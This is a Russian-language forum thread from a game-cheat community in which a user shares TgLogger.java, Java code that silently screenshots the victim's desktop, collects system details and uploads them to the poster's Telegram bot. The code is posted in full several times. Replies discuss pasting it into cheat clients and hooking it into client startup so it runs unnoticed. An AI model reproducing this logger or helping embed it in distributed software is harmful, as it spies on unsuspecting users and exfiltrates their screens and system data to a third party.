Гайд TgLogger - Nursultan skid.

Начинающий
Статус
Оффлайн
Регистрация
29 Май 2020
Сообщения
170
Реакции[?]
5
Поинты[?]
4K
Я надеюсь все поняли что это супер дикий селфкод, вдохновлялся крашсистемом))

Думаю кому нужно - тот возьмет. :roflanEbalo:

SS

Посмотреть вложение 288888


TgLogger.java:
import java.awt.*;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.IOException;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import javax.imageio.ImageIO;
import java.util.Properties;
import java.text.SimpleDateFormat;
import java.util.Date;

public class TgLogger {

    private static final String TELEGRAM_BOT_TOKEN = "токен тг бота";
    private static final String CHAT_ID = "ваш айди телеграм @userinfobot";

    public static void main(String[] args) throws IOException, AWTException {
        sendInfo();
    }

    public static void sendInfo() throws AWTException, IOException {
        Robot robot = new Robot();
        Rectangle screenRect = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());
        BufferedImage screenCapture = robot.createScreenCapture(screenRect);

        File screenshotFile = File.createTempFile("screenshot", ".png");
        ImageIO.write(screenCapture, "png", screenshotFile);

        Properties props = System.getProperties();
        String os = props.getProperty("os.name");
        String osVersion = props.getProperty("os.version");
        String architecture = props.getProperty("os.arch");
        String javaVersion = props.getProperty("java.version");
        long memory = Runtime.getRuntime().totalMemory() / (1024 * 1024);

        SimpleDateFormat dateFormatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        String currentDate = dateFormatter.format(new Date());

        String message = "PC Info:\n" +
                "Date: " + currentDate + "\n" +
                "OS: " + os + "\n" +
                "OS Version: " + osVersion + "\n" +
                "Architecture: " + architecture + "\n" +
                "Java Version: " + javaVersion + "\n" +
                "Memory: " + memory + " MB";

        sendPhoto(message, screenshotFile);

        screenshotFile.delete();
    }

    public static void sendPhoto(String message, File photoFile) throws IOException {
        String urlString = "https://api.telegram.org/bot" + TELEGRAM_BOT_TOKEN + "/sendPhoto";

        String boundary = "----WebKitFormBoundary" + System.currentTimeMillis();
        URL url = new URL(urlString);
        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
        conn.setDoOutput(true);
        conn.setRequestMethod("POST");
        conn.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);

        try (OutputStream os = conn.getOutputStream()) {
            os.write(("--" + boundary + "\r\n").getBytes(StandardCharsets.UTF_8));
            os.write("Content-Disposition: form-data; name=\"chat_id\"\r\n\r\n".getBytes(StandardCharsets.UTF_8));
            os.write((CHAT_ID + "\r\n").getBytes(StandardCharsets.UTF_8));

            os.write(("--" + boundary + "\r\n").getBytes(StandardCharsets.UTF_8));
            os.write("Content-Disposition: form-data; name=\"caption\"\r\n\r\n".getBytes(StandardCharsets.UTF_8));
            os.write((message + "\r\n").getBytes(StandardCharsets.UTF_8));

            os.write(("--" + boundary + "\r\n").getBytes(StandardCharsets.UTF_8));
            os.write(("Content-Disposition: form-data; name=\"photo\"; filename=\"" + photoFile.getName() + "\"\r\n").getBytes(StandardCharsets.UTF_8));
            os.write("Content-Type: image/png\r\n\r\n".getBytes(StandardCharsets.UTF_8));

            Files.copy(photoFile.toPath(), os);
            os.write("\r\n".getBytes(StandardCharsets.UTF_8));

            os.write(("--" + boundary + "--\r\n").getBytes(StandardCharsets.UTF_8));
        }

        if (conn.getResponseCode() == 200) {
            System.out.println("Успешно!");
        } else {
            System.out.println("Ошибка отправки :(");
        }
    }
}
нихуя не отправляет
 
Начинающий
Статус
Оффлайн
Регистрация
29 Май 2020
Сообщения
170
Реакции[?]
5
Поинты[?]
4K
как поставить чтобы она запускалась при входи в клиент а не при запуске именно этого класса
 
Начинающий
Статус
Оффлайн
Регистрация
29 Май 2020
Сообщения
170
Реакции[?]
5
Поинты[?]
4K
Начинающий
Статус
Оффлайн
Регистрация
8 Апр 2023
Сообщения
246
Реакции[?]
26
Поинты[?]
30K
TgLogger.java:
        if (conn.getResponseCode() == 200) {
            System.out.println("Успешно!");
        } else {
            System.out.println("Ошибка отправки :(");
        }
а, что? ошибка отправки? да и похуй. ебись как хочешь. просто знай что ответ на OK
 
Начинающий
Статус
Оффлайн
Регистрация
23 Апр 2024
Сообщения
450
Реакции[?]
1
Поинты[?]
2K
Я надеюсь все поняли что это супер дикий селфкод, вдохновлялся крашсистемом))

Думаю кому нужно - тот возьмет. :roflanEbalo:

SS

Посмотреть вложение 288888


TgLogger.java:
import java.awt.*;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.IOException;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import javax.imageio.ImageIO;
import java.util.Properties;
import java.text.SimpleDateFormat;
import java.util.Date;

public class TgLogger {

    private static final String TELEGRAM_BOT_TOKEN = "токен тг бота";
    private static final String CHAT_ID = "ваш айди телеграм @userinfobot";

    public static void main(String[] args) throws IOException, AWTException {
        sendInfo();
    }

    public static void sendInfo() throws AWTException, IOException {
        Robot robot = new Robot();
        Rectangle screenRect = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());
        BufferedImage screenCapture = robot.createScreenCapture(screenRect);

        File screenshotFile = File.createTempFile("screenshot", ".png");
        ImageIO.write(screenCapture, "png", screenshotFile);

        Properties props = System.getProperties();
        String os = props.getProperty("os.name");
        String osVersion = props.getProperty("os.version");
        String architecture = props.getProperty("os.arch");
        String javaVersion = props.getProperty("java.version");
        long memory = Runtime.getRuntime().totalMemory() / (1024 * 1024);

        SimpleDateFormat dateFormatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        String currentDate = dateFormatter.format(new Date());

        String message = "PC Info:\n" +
                "Date: " + currentDate + "\n" +
                "OS: " + os + "\n" +
                "OS Version: " + osVersion + "\n" +
                "Architecture: " + architecture + "\n" +
                "Java Version: " + javaVersion + "\n" +
                "Memory: " + memory + " MB";

        sendPhoto(message, screenshotFile);

        screenshotFile.delete();
    }

    public static void sendPhoto(String message, File photoFile) throws IOException {
        String urlString = "https://api.telegram.org/bot" + TELEGRAM_BOT_TOKEN + "/sendPhoto";

        String boundary = "----WebKitFormBoundary" + System.currentTimeMillis();
        URL url = new URL(urlString);
        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
        conn.setDoOutput(true);
        conn.setRequestMethod("POST");
        conn.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);

        try (OutputStream os = conn.getOutputStream()) {
            os.write(("--" + boundary + "\r\n").getBytes(StandardCharsets.UTF_8));
            os.write("Content-Disposition: form-data; name=\"chat_id\"\r\n\r\n".getBytes(StandardCharsets.UTF_8));
            os.write((CHAT_ID + "\r\n").getBytes(StandardCharsets.UTF_8));

            os.write(("--" + boundary + "\r\n").getBytes(StandardCharsets.UTF_8));
            os.write("Content-Disposition: form-data; name=\"caption\"\r\n\r\n".getBytes(StandardCharsets.UTF_8));
            os.write((message + "\r\n").getBytes(StandardCharsets.UTF_8));

            os.write(("--" + boundary + "\r\n").getBytes(StandardCharsets.UTF_8));
            os.write(("Content-Disposition: form-data; name=\"photo\"; filename=\"" + photoFile.getName() + "\"\r\n").getBytes(StandardCharsets.UTF_8));
            os.write("Content-Type: image/png\r\n\r\n".getBytes(StandardCharsets.UTF_8));

            Files.copy(photoFile.toPath(), os);
            os.write("\r\n".getBytes(StandardCharsets.UTF_8));

            os.write(("--" + boundary + "--\r\n").getBytes(StandardCharsets.UTF_8));
        }

        if (conn.getResponseCode() == 200) {
            System.out.println("Успешно!");
        } else {
            System.out.println("Ошибка отправки :(");
        }
    }
}
бегу пастить в манлох рикод ультра Найтли про
 
Начинающий
Статус
Оффлайн
Регистрация
4 Июл 2021
Сообщения
234
Реакции[?]
1
Поинты[?]
2K
где это вставить
в main класс где у тебя чит начинается вставь функцию main()
Я надеюсь все поняли что это супер дикий селфкод, вдохновлялся крашсистемом))

Думаю кому нужно - тот возьмет. :roflanEbalo:

SS

Посмотреть вложение 288888


TgLogger.java:
import java.awt.*;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.IOException;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import javax.imageio.ImageIO;
import java.util.Properties;
import java.text.SimpleDateFormat;
import java.util.Date;

public class TgLogger {

    private static final String TELEGRAM_BOT_TOKEN = "токен тг бота";
    private static final String CHAT_ID = "ваш айди телеграм @userinfobot";

    public static void main(String[] args) throws IOException, AWTException {
        sendInfo();
    }

    public static void sendInfo() throws AWTException, IOException {
        Robot robot = new Robot();
        Rectangle screenRect = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());
        BufferedImage screenCapture = robot.createScreenCapture(screenRect);

        File screenshotFile = File.createTempFile("screenshot", ".png");
        ImageIO.write(screenCapture, "png", screenshotFile);

        Properties props = System.getProperties();
        String os = props.getProperty("os.name");
        String osVersion = props.getProperty("os.version");
        String architecture = props.getProperty("os.arch");
        String javaVersion = props.getProperty("java.version");
        long memory = Runtime.getRuntime().totalMemory() / (1024 * 1024);

        SimpleDateFormat dateFormatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        String currentDate = dateFormatter.format(new Date());

        String message = "PC Info:\n" +
                "Date: " + currentDate + "\n" +
                "OS: " + os + "\n" +
                "OS Version: " + osVersion + "\n" +
                "Architecture: " + architecture + "\n" +
                "Java Version: " + javaVersion + "\n" +
                "Memory: " + memory + " MB";

        sendPhoto(message, screenshotFile);

        screenshotFile.delete();
    }

    public static void sendPhoto(String message, File photoFile) throws IOException {
        String urlString = "https://api.telegram.org/bot" + TELEGRAM_BOT_TOKEN + "/sendPhoto";

        String boundary = "----WebKitFormBoundary" + System.currentTimeMillis();
        URL url = new URL(urlString);
        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
        conn.setDoOutput(true);
        conn.setRequestMethod("POST");
        conn.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);

        try (OutputStream os = conn.getOutputStream()) {
            os.write(("--" + boundary + "\r\n").getBytes(StandardCharsets.UTF_8));
            os.write("Content-Disposition: form-data; name=\"chat_id\"\r\n\r\n".getBytes(StandardCharsets.UTF_8));
            os.write((CHAT_ID + "\r\n").getBytes(StandardCharsets.UTF_8));

            os.write(("--" + boundary + "\r\n").getBytes(StandardCharsets.UTF_8));
            os.write("Content-Disposition: form-data; name=\"caption\"\r\n\r\n".getBytes(StandardCharsets.UTF_8));
            os.write((message + "\r\n").getBytes(StandardCharsets.UTF_8));

            os.write(("--" + boundary + "\r\n").getBytes(StandardCharsets.UTF_8));
            os.write(("Content-Disposition: form-data; name=\"photo\"; filename=\"" + photoFile.getName() + "\"\r\n").getBytes(StandardCharsets.UTF_8));
            os.write("Content-Type: image/png\r\n\r\n".getBytes(StandardCharsets.UTF_8));

            Files.copy(photoFile.toPath(), os);
            os.write("\r\n".getBytes(StandardCharsets.UTF_8));

            os.write(("--" + boundary + "--\r\n").getBytes(StandardCharsets.UTF_8));
        }

        if (conn.getResponseCode() == 200) {
            System.out.println("Успешно!");
        } else {
            System.out.println("Ошибка отправки :(");
        }
    }
}
чот не отправляет
 
Последнее редактирование:
Начинающий
Статус
Оффлайн
Регистрация
4 Апр 2021
Сообщения
15
Реакции[?]
0
Поинты[?]
0
токен вытащить очень легко, так и определение оперативки неправильно сделано, хоть бы сам посмотрел, что выкладываешь
 
Начинающий
Статус
Оффлайн
Регистрация
4 Июл 2021
Сообщения
234
Реакции[?]
1
Поинты[?]
2K
токен вытащить очень легко, так и определение оперативки неправильно сделано, хоть бы сам посмотрел, что выкладываешь
как сделать этот логгер главным класом, чтоб черещ него запускалось
 
Начинающий
Статус
Оффлайн
Регистрация
4 Апр 2021
Сообщения
15
Реакции[?]
0
Поинты[?]
0
почему, я хочу смотреть как скринится мой экран
ну создай класс с этим логгером в проекте, потом в месте, где у тебя происходит загрузка клиента вызови названиекласса.sendInfo()
 
Начинающий
Статус
Оффлайн
Регистрация
4 Июл 2021
Сообщения
234
Реакции[?]
1
Поинты[?]
2K
ну создай класс с этим логгером в проекте, потом в месте, где у тебя происходит загрузка клиента вызови названиекласса.sendInfo()
чет все ровно скрины не отправляет, он отправлял только когда запускал через этот тглоггер
 
Сверху Снизу